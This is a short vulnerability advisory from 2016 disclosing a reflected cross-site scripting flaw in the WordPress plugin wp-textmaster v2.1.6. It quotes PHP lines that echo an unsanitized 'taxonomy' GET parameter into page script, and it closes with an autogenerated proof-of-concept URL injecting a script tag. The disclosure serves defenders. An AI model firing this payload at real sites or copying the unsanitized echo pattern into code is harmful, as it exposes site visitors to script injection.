Advisory #: 301
Title: Reflected XSS in wordpress plugin wp-textmaster v2.1.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-textmaster
Downloads: 1946
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-textmaster
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-textmaster/wp-textmaster.php: 795: var urlPopup = '<?php echo plugins_url('traduction_bulk.php', __FILE__); ?>?post_ids=' + ids + '&type=<?php echo $_GET['taxonomy']; ?>&&height=500&width=630&TB_iframe=true'; 806: var urlPopup = '<?php echo plugins_url('validation_bulk.php', __FILE__); ?>?trad_only=yes&post_ids=' + ids + '&type=<?php echo $_GET['taxonomy']; ?>&height=400&width=600&TB_iframe=true'; The variable taxonomy appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-textmaster/wp-textmaster.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-textmaster/wp-textmaster.php?taxonomy="><script>alert(1);</script><"